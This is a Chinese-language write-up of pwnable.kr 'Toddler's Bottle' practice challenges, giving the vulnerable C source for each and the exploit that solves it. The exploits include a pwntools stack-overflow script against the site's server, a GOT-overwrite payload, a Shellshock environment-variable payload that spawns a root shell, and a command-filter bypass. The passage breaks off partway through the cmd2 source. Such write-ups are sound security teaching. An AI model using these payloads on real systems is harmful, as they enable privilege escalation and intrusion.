0%

Pwnable.KR Writeup of Toddler's Bottle

Challenges in Pwnable.kr

fd (1 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi(argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

我们可以控制的是 argv[1],最终的目标是 read(fd, buf, 32) 之后的 buf 中的字符串为LETMEWIN\n,所以我们可以将 fd 控制为从标准输入中读取,即 fd 为 0,则需要满足atoi(argv[1] ) == 0x1234,那么直接执行如下命令即可。

1
python -c "print('LETMEWIN')"|./fd `python -c "print(0x1234)"`

首先 python -c "print('LETMEWIN')" 试 fd 程序可以从标准输入中读取 LETMEWIN\n 字符串,python -c "print(0x1234)"则可以将 0x1234 通过 argv 传递给 fd。

collision (3 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

还是通过 argv 传递一个参数,但是需要通过 check_passcode 函数的检查,而且必须为 20 个字节,最后需要 check_passcode 返回值为0x21dd09ec

首先 check_passcode 函数将输入的 char* 转为 int*,由于这是一个 32 位的程序,这样在这个 int* 的数组中一共有 5 个 int,32 位程序中每一个 int 占 4 个字节,将这五个 int 加起来就是这个函数的返回值。假如我们输入的 passcode 中前 4 个字符为aaaa,那么在内存中就是\x61\x61\x61\x61,转换为 int 就变成了0x61616161,所以我们的目的就是让这 5 组字符串的和为0x21dd09ec。需要注意的一点是大小端排序的问题,例如输入的是0x01020304,那么在内存中就变成了0x04030201

其实满足条件的字符串有很多,其中的一种为0x01010101+0x01010101+0x01010101+0x11314141+0xda8c5a8 == 0x21dd09ec,那么直接执行如下命令即可。

1
./col `python -c "print('\x01\x01\x01\x01'*3+'\x41\x41\x31\x11'+'\xa8\xc5\xa8\x0d')"`

bof (5 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

一个很简单的栈溢出,溢出的目标就是将栈上的局部变量 key 的值改为0xcafebabe,之后就白送一个 shell。习惯性先用 checksec 检查一下,该开的都开了。

看一下 key 的位置在哪,算出来从 eax 到 key 的距离为 52 个字节,直接填充 52 个字节的垃圾数据然后修改 key。

最终的 exp 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *
from sys import argv
HOST = 'pwnable.kr'
PORT = 9000

context.update(terminal=['tmux', 'splitw', '-h'])
# context.update(log_level='debug')

libc = None
# libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')

elf = ELF("./bof")
pg = cyclic_gen()

if len(argv) > 1:
conn = remote(HOST, PORT)
else:
env = {
'LD_PRELOAD': libc.path if libc else ''
}
conn = process(elf.path, env=env)

conn.sendline(pg.get(52) + p32(0xcafebabe))
conn.interactive()

flag (7 pt)

这是一个逆向题,只给了一个二进制文件,先用 file 看一下,发现是 64 位程序,直接用 ida64 打开。函数非常非常多,先打开 strings 窗口看看有哪些字符串,首先看到的就是 upx,这个程序很可能用 upx 加过壳,先用 upx 脱壳拿到真正的程序。

脱了壳以后就可以看到源程序了,直接 IDA 一把梭。

passcode (10 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

这个题还是一个栈溢出,不过是基于栈重叠的溢出。程序先后调用了 welcome 和 login 两个函数,在 welcome 函数中有一个 100 字节的 buf,scanf 中也没有任何溢出,而执行完 welcome 以后紧接着就执行 login 函数,在 login 函数中我们需要改变两个局部变量 passcode1 和 passcode2 的值才能拿到 flag。

需要注意的是,当一个函数执行完毕后,并不会将该函数栈上的数据清空,仅改变 esp 和 ebp 的值,所以在执行完 welcome 以后,继续执行 login 的时候,我们在 welcome 中输入的 buf 中 100 个字节还保存在栈上,只不过这时候的栈帧已经变成了 login 的栈帧,也就是说:我们对 welcome 函数中 buf 的修改,是有可能影响到 login 函数中局部变量的值,我们来实验一下。

可以看到,在 welcome 中对 buf 从 0xff940298 一直到 0xff9402fc,而在 login 中,passcode1 的的地址为 esp+4 即 0xff9402e4,小于 0xff9402fc,接着 scanf 输入到 passcode1 的时候我们就可以向任意地址写一个数字(scanf 的参数是 %d),不过可惜的是 buf 影响不到 passcode2,还是需要想办法绕过 passcode1==338150 && passcode2==13371337 的判断。

既然可以修改任意地址到值为一个数字,那么我们就可以通过修改 got 表实现任意地址到跳转,在第一次 scanf 以后就有一个 fflush 函数,这是一个 libc 的函数,因此可以修改 fflush 的 got 表劫持控制流直接绕过 if 判断跳转到执行 system 的地址,即 0x80485d7,但是 scanf 只接受一个数字,因此就需要将 0x80485d7 以 int 的形式输入即可。最后在 bash 中执行如下 payload。

1
python -c "print('a'*96+'\x04\xa0\x04\x08'+'134514135')"|./passcode

random (1 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if((key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

很经典的 random 伪随机数,由于没有用 srand 设置随机数种子,默认会使用 1 作为种子,因此只需要在程序运行的时候用 gdb 看一下 rand 函数返回的第一个数字即可,为 0x6b8b4567,和 0xdeadbeef 异或一下就得到最后的结果 3039230856。

input (4 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if(fread(buf, 4, 1, fp)!=1 ) return 0;
if(memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons(atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if(recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

非常麻烦的一个题,要拿到 flag 一共需要过 5 关,分别都和程序的输入输出有关,但是都可以用 pwntools 解决。第一关首先需要有 100 个 argv,第一个 argv 是程序本身的路径,之后需要跟 99 个命令行参数,并且 argv[65]和 argv[66]分别为 \x00\x20\x0a\x0d,很简单,直接用 pwntools 启动程序的 process 函数的 argv 参数传递即可。

1
2
3
4
5
6
7
from pwn import *
elf = ELF("/home/input2/input")
a = [elf.path] + ['a'] * 99
a[ord('A')] = '\x00'
a[ord('B')] = '\x20\x0a\x0d'
a[ord('C')] = '7373'
conn = process(argv=a)

第二关程序会从标准输入和标准错误中读取,并且比较读到的是不是 \x00\x0a\x00\xff\x00\x0a\x02\xff,pwntools 的 process 直接提供了 stdin 和 stdout 的读写。

1
2
conn.sendafter('Stage 1 clear!\n', '\x00\x0a\x00\xff')
conn.stderr.write('\x00\x0a\x02\xff')

第三关程序会从环境变量 \xde\xad\xbe\xef 中读取,比较是否是\xca\xfe\xba\xbe,直接用 process 函数的 env 参数传递就行。

1
2
env = {'\xde\xad\xbe\xef': '\xca\xfe\xba\xbe'}
conn = process(env=env)

第四关有点特殊,需要创建一个文件名为 \x0a 的文件,并且文件内容为\x00\x00\x00\x00,但是题目环境目录是不可写的,不过我们可以用其他方法绕过,后面再说,先用 python 创建这个文件。

1
2
with open('\x0a', 'wb') as f:
f.write(b'\x00\x00\x00\x00')

最后一关是 socket 读写,通过 argv[67]提供一个端口,向这个端口发送\xde\xad\xbe\xef,pwntools 也可以直接做到。

1
2
r = remote('0.0.0.0', 7373)
r.send('\xde\xad\xbe\xef')

这样 5 关就都过了,最后的 exp 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-

from pwn import *
context.update(log_level='debug')

elf = ELF("/home/input2/input")

a = [elf.path] + ['a'] * 99
a[ord('A')] = '\x00'
a[ord('B')] = '\x20\x0a\x0d'
a[ord('C')] = '7373'

env = {'\xde\xad\xbe\xef': '\xca\xfe\xba\xbe'}

with open('\x0a', 'wb') as f:
f.write(b'\x00\x00\x00\x00')

conn = process(env=env, argv=a)
conn.sendafter('Stage 1 clear!\n', '\x00\x0a\x00\xff')
conn.stderr.write('\x00\x0a\x02\xff')
conn.recvuntil('Stage 4 clear!\n')

r = remote('0.0.0.0', 7373)
r.send('\xde\xad\xbe\xef')

conn.recvuntil('Stage 5 clear!\n')
conn.interactive()

我们还有第四关的问题没有解决,就是题目环境下的目录是不可写的,而我们又需要创建文件并且可以读写该文件。tmp 目录通常都是自由的,我们可以任意读写 tmp 目录,但是在题目下我们读取不了 tmp 目录下的文件,但是可以在 tmp 目录下创建目录,我们所创建的这个目录具有完全的读写权限,在这个目录下运行 exp 就没有问题了。

其实还有最后一个问题,五关都过了一个,程序是通过相对路径读取的 flag,但是在 tmp 目录下我们并没有 flag,不过我们可以通过软链接的方式将 home 下的 flag 链接到我们创建的目录即可,最终我们需要在 bash 下依次执行如下命令。

1
2
3
4
5
mkdir /tmp/not_exist
cd /tmp/not_exist
ln -s /home/input2/flag .
# using scp to copy you exp to here
python exp.py

leg (2 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if((key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

需要我们输入一个数字,这个数字为 3 个函数 key1,key2 和 key3 的返回值的和。这 3 个函数都是直接用 arm 汇编写的,题目也直接给了这几个函数的反汇编源码,那么直接看汇编代码就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

很明显可以看到 0x00008d8c 处的 cmp 是在比较三个 key 函数的返回值和我们输入的数字是否相同。arm 的函数返回值最终放在 r0 里,那么我们就需要找调用完这几个 key 以后 r0 里都是什么。首先 0x00008d68 调用 key1,调转到 0x00008cd4,我们只关注 r0,r0 来自 r3,而 r3 来自 pc,pc 中保存的是下一条要执行的指令地址,arm 的指令长度为 4,pc 中保存的也就是当前指令 +8 处的地址,所以在 0x00008cdc 处的 pc 的值应该就是 0x00008ce4,所以 key1 的返回值为 0x00008ce4。

执行完 key1 在回到 0x00008d6c,将 key1 点返回值 r0 放入 r4 中,接着由执行 key2,跳转到 0x00008cf0。首先保存 r6,然后把 pc+1 保存到 r6 中,然后跳转到 r6,也就是跳转到 0x00008d05,由于最低位是 1,则 bx 跳转到 0x00008d04,并且切换到 thumb 状态,然后将 pc 放入 r3 中,由于 thumb 状态指令长度为 2,因此 r3 为 0x00008d08,再加 4,就变成了 0x00008d0c,然后一个 push 一个 pop 把 r3 放入 pc 中,pc 变成了 0x00008d0c,跳转到 0x00008d0c 处,再 pop 恢复 r6,然后把 r3 放入 r0 最为返回值,因此最后的返回值 r0 为 0x00008d0c。

执行完 key2 后状态切换为 arm 态,将 key2 的返回值放入 r3 中,和 key1 的返回值加起来放入 r4,然后跳转到 key3 的位置 0x00008d20。key3 里直接把 lr 放入 r3,再把 r3 放入 r0 返回,而 lr 中保存的是 key3 的返回地址,也就是执行完 key3 要返回的地址,就是 0x00008d80,因此 key3 的返回值为 0x00008d80。这三个数加起来就是 108400,也就是最后的结果。

mistake (1 pt)

直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

题目提示是运算符优先级第问题,而源码第 17 行又一个很明显的错误fd=open("/home/mistake/password",O_RDONLY,0400) < 0,这里有一个连用的运算符并且没有加括号,等号的优先级通常来说是最低的,因此这行代码等价于fd=(open("/home/mistake/password",O_RDONLY,0400) < 0),而 open 返回值肯定不会小于 0,所以 fd 这时就会被赋值为 0,程序后面的 read 用 fd 读取 password 的时候,fd 是 0 就代表从标准输入里读取,这时候 password 是什么就不重要了,因为我们可以控制 password 的值,只要连续输入两个字符串,一个是另一个的 xor 版本就可以了,exp 如下。

1
2
3
4
5
6
7
8
def xor(s):
x = ''
for i in s:
x += chr(ord(i) ^ 1)
return x

print(xor('1234567890'))

首先输入 1234567890,然后输入 0325476981,0325476981 是 1234567890 的 xor 结果,这样就可以拿到 flag。

shellshock (1 pt)

直接给了源码。

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

很简单的 shellshock 漏洞的利用,网上有很多 payload,在 bash 输入以下 payload

1
export gu='() { :;};/bin/sh'

然后执行 shellshock 程序,就可以拿到一个 root 的 shell,直接读 flag 即可。

coin1 (6 pt)

这是一个编程题,没给源码,没给程序,是一个算法题。题目会给一定数量 (N) 的金币,每个金币的重量为 10,但是其中有一个假金币,假金币的重量为 9,题目会给一定的称重次数(C),每次可以选择不同序号的金币称重获得总重量,在称重次数用完以后就需要给出假金币的序号,在一分钟内一共猜中 100 次假金币的序号才会给 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------

You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward :)
FYI, you have 60 seconds.

- How to play -
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer

- Example -
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!

- Ready? starting in 3 sec... -

这种类型的题目可以用二分法来解,对二分法来说,题目给的称重次数是肯定够用的,先称左半部分,重量是否是预期的重量(即总重量 = 数量 *10),否则假金币就在右半部分,以此类推直到最后只剩下一个金币。

最终的 exp 如下,由于远程连接比较慢,一分钟只能跑 20 多次,所以需要上传到服务器去跑,随便找个以前的题目,去 tmp 目录下跑就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import *
from sys import argv
HOST = 'pwnable.kr'
HOST = '0.0.0.0'
PORT = 9007

context.update(terminal=['tmux', 'splitw', '-h'])
# context.update(log_level='debug')

conn = remote(HOST, PORT)
def send(start, end):
rg = [str(i) for i in range(start, end)]
if not rg:
rg = [str(start)]
conn.sendline(' '.join(rg))
result = int(conn.recvline()[:-1])
if result == 9:
raise ValueError()
return result != len(rg) * 10
conn.recvuntil('N=')
for _ in range(100):
conn.recvuntil('N=')
line = conn.recvline()
t = line.split()
N = int(t[0])
C = int(t[1].split('=')[1])
log.info('N=%d C=%d' % (N, C))

left, right = 0, N

for i in range(C):
mid = (right + left) >> 1
# log.info('Count: %d/%d' % (i+1, C))
# log.info('%d %d %d' % (left, mid, right))
try:
if send(left, mid):
# Coin in here.
right = mid
else:
left = mid
except ValueError:
# Find it.
# log.info('Find %d' % left)
l = C-i-1
if l < 0:
log.error('Not enough count!')
exit(1)

for j in range(l):
send(1, 1)

conn.sendline(str(left))
ret = conn.recvline()
assert 'Correct' in ret
log.success(ret)
break
else:
# log.info('Find %d' % mid)
conn.sendline(str(mid))
ret = conn.recvline()
assert 'Correct' in ret
log.success(ret)

log.success(conn.recvline())
log.success(conn.recvline())

blackjack (1 pt)

和上一题一样,没给源码没给程序,看规则应该是一个类似 21 点的游戏,游戏开始只有 500$,可以下赌注,如果点数超过 21 点就输了,目标是获得 1000,000$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

RULES of VLAD's BLACKJACK
---------------------------
I.
Thou shalt not question the odds of this game.
S This program generates cards at random.
D If you keep losing, you are very unlucky!

II.
Each card has a value.
S Number cards 1 to 10 hold a value of their number.
D J, Q, and K cards hold a value of 10.
C Ace cards hold a value of 11
The goal of this game is to reach a card value total of 21.

III.
After the dealing of the first two cards, YOU must decide whether to HIT or STAY.
S Staying will keep you safe, hitting will add a card.
Because you are competing against the dealer, you must beat his hand.
BUT BEWARE!.
D If your total goes over 21, you will LOSE!.
But the world is not over, because you can always play again.

SHC YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM CHS

Would you like to go the previous screen? (I will not take NO for an answer)
(Y/N)

其实看了半天也没太看懂算分的规则,但是不重要。首先需要输入你的赌注,赌注可以输入负数,所以只要玩输了就会赚,不知道为什么, 有时候赌注输入的负数太大了(没有溢出)最后就说我破产了,所以一点点十几万的往上加赌注,一直输,知道赢了 100 万就拿到 flag 了。

lotto (2 pt)

这次的题目也是个 游戏,给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

这是一个被称为 lotto 的游戏,也就是猜数字,说白了就是刮彩票,程序会通过 /dev/urandom 生成 6 个 1-45 之间的随机数,我们需要输入 6 个数字,保证我们输入的 6 个数字在生成的 6 个随机数中只出现一次,我们就赢了,所以最后的这两层循环就变得容易了起来,我们可以只输入 6 个相同的数字,只要这个数字命中了随机数中的任意一个,最后 match 的结果有很大的可能性是 6,例如一直输入六个字符-,也就是数字 45,只尝试了 4 次就成功了。

cmd1 (1 pt)

非常简单的一道题,直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system(argv[1] );
return 0;
}

直接给了一个 shell,但是去除了 PATH 环境变量,并且输入的 command 中不能出现 flag,sh,tmp 这些字符串。去除了环境变量我们就可以用 cat 的绝对路径,不能出现 flag 可以用通配符代替,最后的 payload 如下。

1
./cmd1 "/bin/cat ./fl*"

cmd2 (9 pt)

和上一题类似,直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
